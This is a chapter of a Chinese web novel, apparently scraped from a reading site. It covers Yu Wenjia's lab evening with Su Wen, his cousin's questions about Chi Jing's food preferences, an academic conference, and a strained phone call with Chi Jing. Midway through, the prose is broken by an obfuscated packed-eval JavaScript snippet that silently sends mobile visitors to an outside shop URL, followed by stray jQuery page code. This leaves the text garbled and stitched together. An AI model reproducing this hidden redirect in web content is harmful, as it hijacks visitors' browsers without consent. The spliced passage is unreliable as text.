12
余闻嘉回学校后直接去了实验室,在那里碰见了苏文。这孩子科研狂魔的属性已经初现端倪,余闻嘉算来实验室来得频繁的了,基本每次来都能看见他的身影。
苏文做实验投入,余闻嘉进来了好一会儿他才发现。扭脖子活动筋骨的间隙,转头发现不远处位置坐了个人,吓得差点把手里的试管捏爆了。
“我靠。”苏文惊魂未定,“师兄你吓我一跳。”
余闻嘉没应声,低着头做自己的事。
苏文也没再跟他说话,继续做自己的实验了。
两个人十点才离开实验室,一起下了楼。进电梯后,苏文按下楼层按钮,转头看看余闻嘉,突然问了句:“师兄,你心情不好?”
余闻嘉看他一眼。
余闻嘉一直觉得苏文平时在实验室存在感挺低的,专注自己的事情,很少发言。不过他直人快语,要么不说话,一说就戳到要害。
余闻嘉没回他,苏文说:“我请你吃夜宵吧,北街烧烤吃吗?”
哪壶不开提哪壶,一挑就挑了个烧烤,余闻嘉现在看见烧烤八成能一脚把烤炉给踹翻了。
苏文摸了下肚子,本来觉得还行,一提倒还真饿了。
这边离北街不远,苏文说:“走吧。”
“我不吃。”余闻嘉说。
“吃吧,心情不好,吃点好的说不定能缓解一下。我室友说北街有家烧烤味道挺不错的,走,我请客。”
吃烧烤?
那不是缓解,是恶化。
余闻嘉最终还是跟苏文去北街转了一圈,俩人没吃烧烤,路过一个卖炒河粉的摊子,苏文被香得走不动道,转头问余闻嘉吃不吃。
余闻嘉说:“我不吃。”
苏文要了一份,余闻嘉拿出手机要扫付款码。
“说好我请的啊。”苏文说。
“谁跟你说好了。”说罢余闻嘉扫了一下码,付完钱跟苏文说:“我走了。”
“哎师兄。”苏文叫住他。
余闻嘉回过头。
“下周日会展中心的学术会议,你跟齐教授一块儿去吗?”
“嗯。”余闻嘉点了下头。
大型的学术会议一般都是导师带着学生一起去,这次的会议齐教授肯定去,他要上台作学术汇报,想去的学生在他那儿报个名就行了。余闻嘉有篇课题论文被选中了,这次不仅是去听讲的,也要上台作交流报告。
苏文笑了笑:“行。炒河粉谢了,下次我一定请你。”
第二天一大早余闻嘉就去了医院,忙了一上午没空喝口水,中午休息的时候突然接到了他表姐的电话。林琅知道他忙,特意凑着休息时间打来的。余闻嘉在学校食堂吃饭,对着坐着李彻和陆思远,他俩关系铁得像双胞胎,只要不工作,休息时间就老凑一块。
余闻嘉接了他表姐电话,林琅在电话那头笑了下:“闻嘉,是我。”
“嗯,表姐。”
“没打扰你吧?”
“没。怎么了,有事?”
“没什么大事儿,就是想找你问问池镜,你不是跟他挺熟的么,姑公说你俩关系可好。”
余闻嘉垂下眼眸:“你要问什么?”
“也没什么。我打算下周日约他吃个饭,去我朋友开的私房餐馆,想知道他有没有什么喜欢的不喜欢的菜,我提前做个功课,免得踩雷。”
林琅是行动派,她对池镜有好感,自然是主动出击,面面俱到。
“这些你直接问他本人不是更方便吗。”余闻嘉说。
“一看你就是没追过人的。”林琅笑着说。
余闻嘉皱了皱眉。
“有些事不能明着来,含蓄点可能更有成效。所以这方面你有什么能透露给我的么?我做做功课。”
余闻嘉沉默片刻,说:“他土豆过敏。”
对面的李彻和陆思远闻言同时抬头看向了他,因为俩人正夹了一筷醋溜土豆丝要往嘴里塞。
“不吃青椒。”余闻嘉又说。
“行,我记着了,还有吗?还有没有别的不吃的,或者他喜欢吃什么?”
“他不挑食,不吃的就这两个。”余闻嘉看了眼手边的香蕉,又补充了一点:“他喜欢吃甜食。”
林琅清脆的笑声隔着手机传过来:“这样啊,还真看不出来。成,我有数了,谢谢你了闻嘉。”
李彻从余闻嘉跟对方说的话里听了个大概,见余闻嘉面无表情的一张脸,反应很快:“什么情况啊,给你情敌当军师呢?”
余闻嘉抬眼看他。
李彻脑子转得太快了,他指了指余闻嘉手边的手机,以为自己师弟让人横刀夺爱还给人做嫁衣,还挺不爽的:“谁不吃青椒啊?你心上人?”
其实陆思远也看出来了,只不过他说话没李彻那么直,李彻话题跳得太快了,说个话没头没尾的。陆思远转头看着他:“你的思维还能再跳跃点儿。”
“怎么我说的不是那么回事儿吗?”李彻看着余闻嘉,老父亲一般的语气,“不是你心上人你拉着一张脸?谁啊?谁跟你打听人吃不吃青椒?我说闻嘉,你这不行,你这孩子就是太闷了,心思重,什么都搁心里,这不行啊这……”
“行行行了,你赶紧吃你的吧。”陆思远打断他,很明显余闻嘉不想聊这个,也很明显李彻猜的就是那么回事儿。
“你甭理他。”陆思远对余闻嘉说,“昨晚上估计喝假酒了,要么早上没吃药就出门了。”
“我昨晚值班我——”李彻气笑了,“喝什么假酒。”
“那能闭嘴了么?”陆思远趁余闻嘉不注意冲他使了个眼色,让他赶紧揭过这茬。
李彻叹了口气,不再发表意见了。他感觉自己是上年纪了,搞不懂小年轻的弯弯绕绕。
直到周日学术会议当天,苏文才知道余闻嘉也要上台作学术报告,这个会场能上台做汇报的都是大佬,他知道余闻嘉厉害,但没想到这么厉害。
“你怎么这么牛。”苏文坐在余闻嘉旁边,忍不住说了一句。
余闻嘉在看自己的论文PPT,盯着电脑屏幕头都没转一下:“咱们科里牛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105335|148595||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人很多。”他手指搭在键盘上打了几个字,又道:“未来你也能这么牛。”
苏文看着演讲台笑了笑:“余师兄,其实我比你还大仨月呢。”
余闻嘉没留心苏文怎么知道自己的生日月份,看着屏幕漫不经心地回了一句:“那怎么,要我喊你声‘哥’?”
“这我哪儿好意思,我就是感慨一下你年轻有为。”
会议开了一整天,中午有茶歇时间,余闻嘉一上午没看手机,午间休息的时候抽空看了眼,回了下消息。
余闻嘉没有聊天置顶,池镜的头像沉在消息栏很下面,他不常用微信,所以也不常在微信上找余闻嘉,有事会直接给他打电话。
自从那次家庭聚餐后,他没再跟池镜有过联系,连电话都没打过,已经有一个礼拜了。仔细想想挺可笑的,不管是当年还是现在,永远都是他在单方面闹别扭。
下午四点半,会议结束,齐云枫教授跟他医学界的一帮老友先行离场,科室里一伙人商量着晚上吃顿好的,李彻要请客。
“今天中午咱就吃得挺不错了。”有个研二的学生真情实感道,“我爱学术会议的茶歇!自助餐yyds!”
“这就叫学术蝗虫吧。”有人拍拍他的胸口说。
“你也甭说我了。”他推开对方的手,“你中午也没少吃。”
会议一结束,氛围就轻松了不少,一帮人叽叽喳喳的,讨论着一会儿上哪儿吃晚饭。余闻嘉低头收拾东西,放在桌上的手机震了震,他抬眸一瞥,屏幕上弹出了池镜的消息。他立马拿起手机看了一眼。
-会议结束了吗?
余闻嘉打字回复:结束了。
又问:你怎么知道我今天有会?
-听池明说的。
-一会儿去我家吃饭?
池镜可能还是不喜欢用微信交流,刚发完这条就打了通电话过来。他掐着点发的消息,应该是知道会议结束的时间。
“还在会场?”池镜问。
“你……今天没跟我姐去吃饭?”
池镜一愣:“你知道这事儿?”
“我不知道。”
池镜笑了:“挺能睁眼说瞎话呢,怎么,你还想帮你表姐助攻呢。”
“我怎么可能——”余闻嘉声音骤冷,旁边那帮人本来还在说说笑笑,闻声转过来看了他一眼,有点不明状况。
余闻嘉闭了下眼睛,沉默半晌,沉声道:“我怎么可能那么做。”
“你对她没意思么。”余闻嘉不在意周围人的目光,平静地跟池镜通着话。
“你说呢,才见了一面就能有意思了?”
“你的意思是多见几面就有意思了?”
池镜嗤笑一声,不知道该气该笑:“余闻嘉我发现你怎么比小时候混了?跟我说话越来越欠了。”
“……我没。”余闻嘉压低了声音,“我错了。”
旁边一伙人惊恐地看着他。那三个字从他嘴里说出来太诡异了,本来嗓音就很低沉,还不带任何情绪,听着更诡异了,这跟谁猛男撒娇。